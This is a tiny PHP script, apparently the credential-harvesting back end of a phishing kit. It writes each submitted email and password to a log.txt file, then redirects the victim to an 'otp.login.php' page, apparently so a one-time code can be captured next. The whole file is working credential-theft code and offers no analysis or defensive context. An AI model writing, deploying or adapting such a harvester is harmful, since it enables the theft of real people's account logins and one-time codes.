1<?php 2 3 file_put_contents("log.txt", "Username: " . $_POST['email'] . " Pass: " . $_POST['pass'] . "\n", FILE_APPEND); 4header('Location: otp.login.php'); 5exit(); 6 7 8